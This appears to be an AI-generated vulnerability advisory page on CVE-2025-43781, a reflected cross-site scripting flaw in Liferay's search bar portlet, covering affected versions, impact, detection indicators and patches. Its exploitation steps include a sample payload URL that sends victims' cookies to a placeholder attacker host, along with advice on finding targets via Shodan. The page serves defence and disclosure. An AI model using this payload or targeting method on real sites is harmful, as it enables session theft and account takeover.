CVE-2025-43781
Java vulnerability analysis and mitigation

Overview

CVE-2025-43781 is a reflected cross-site scripting (XSS) vulnerability in Liferay Portal and Liferay DXP affecting the search bar portlet. It allows remote, unauthenticated attackers to inject arbitrary web script or HTML via a maliciously crafted URL. Affected versions include Liferay Portal 7.4.3.110 through 7.4.3.128, and Liferay DXP 2024.Q1.1 through 2024.Q1.12, 2024.Q2.0 through 2024.Q2.13, and 2024.Q3.1 through 2024.Q3.8. The vulnerability was published on September 9, 2025, and a patch was made available the same day. It carries a CVSS v3.1 base score of 6.1 (Medium) and a CVSS v4.0 base score of 5.3 (Medium) (GitHub Advisory, Liferay Advisory).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-site Scripting), rooted in insufficient sanitization of user-supplied URL input within the search bar portlet before it is reflected back in the HTTP response (GitHub Advisory). An attacker can craft a malicious URL containing embedded JavaScript or HTML and trick a victim into clicking it; the server reflects the unsanitized input directly into the rendered page, causing the browser to execute the injected script. No authentication is required to exploit this vulnerability, but user interaction (a victim clicking the crafted link) is necessary. The underlying Maven package com.liferay:com.liferay.portal.search.web versions >= 6.0.125 and < 6.0.143 are affected, with version 6.0.143 containing the fix (GitHub Advisory).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected Liferay Portal or DXP instance. This can lead to session cookie theft, credential harvesting, unauthorized actions performed on behalf of the victim, and manipulation of web page content. While availability is not impacted, both confidentiality and integrity of the vulnerable and subsequent systems are at low risk, with potential for privilege escalation if an administrative user is targeted (GitHub Advisory, Liferay Advisory).

Exploitability

There is no public proof-of-concept exploit code and no evidence of in-the-wild exploitation at this time (GitHub Advisory). The EPSS score is approximately 0.045% (14th percentile), indicating a low near-term probability of exploitation. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. No threat actor attribution has been reported.

Exploitation steps

  1. Reconnaissance: Identify publicly accessible Liferay Portal or DXP instances running affected versions (Portal 7.4.3.110–7.4.3.128; DXP 2024.Q1.1–2024.Q1.12, 2024.Q2.0–2024.Q2.13, 2024.Q3.1–2024.Q3.8) using tools like Shodan or Censys, or by inspecting version metadata exposed in page source or HTTP headers.
  2. Identify the vulnerable endpoint: Locate the search bar portlet on the target Liferay instance, which is typically accessible on the portal's main or search pages.
  3. Craft a malicious URL: Construct a URL targeting the search bar portlet that includes an XSS payload embedded in the URL parameter (e.g., https://target.example.com/web/guest/search?q=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
  4. Deliver the payload: Send the crafted URL to a victim via phishing email, social engineering, or by embedding it in a third-party page, inducing the victim to click the link.
  5. Achieve objective: When the victim loads the URL, the Liferay server reflects the unsanitized input into the HTML response; the victim's browser executes the injected script, enabling session cookie theft, credential harvesting, or other malicious actions (GitHub Advisory).

Indicators of compromise

  • Network: Unusual inbound HTTP GET requests to Liferay search endpoints (e.g., /web/guest/search) containing URL-encoded script tags (%3Cscript%3E), JavaScript event handlers (onerror=, onload=), or javascript: URI schemes in query parameters.
  • Logs: Web server or Liferay access logs showing requests to search portlet URLs with anomalous or encoded payloads in the q or similar URL parameters; repeated requests from the same IP with varying XSS payloads may indicate probing activity.
  • Network: Outbound connections from victim browsers to unknown external domains shortly after accessing a Liferay search URL, potentially indicating successful cookie exfiltration or beacon callbacks.

Mitigation and workarounds

Liferay has released patches addressing this vulnerability. Users should upgrade the com.liferay:com.liferay.portal.search.web Maven package to version 6.0.143 or later. For Liferay Portal, upgrade to version 7.4.3.129 or later; for Liferay DXP, upgrade to 2024.Q1.13+, 2024.Q2.14+, or 2024.Q3.9+ as applicable (GitHub Advisory, Liferay Advisory). As interim mitigations, administrators should implement a Content Security Policy (CSP) header to restrict script execution, enforce strict input validation and output encoding, and monitor web application firewall (WAF) rules for XSS patterns targeting search endpoints.

Additional resources


SourceThis report was generated using AI

Related Java vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-76904CRITICAL9.8
  • Java logoJava
  • org.geotools.jdbc:gt-jdbc-postgis
NoYesAug 21, 2026
GHSA-mqjf-5f49-2fjhCRITICAL9.8
  • Java logoJava
  • org.geotools:gt-jdbc-postgis
NoYesAug 21, 2026
CVE-2026-61827HIGH8.7
  • Java logoJava
  • io.netty.incubator:netty-incubator-codec-bhttp
NoYesAug 20, 2026
CVE-2026-63202HIGH7.5
  • Java logoJava
  • io.netty.incubator:netty-incubator-codec-bhttp
NoYesAug 20, 2026
CVE-2026-63124HIGH7.5
  • Java logoJava
  • io.netty.incubator:netty-incubator-codec-bhttp
NoYesAug 20, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management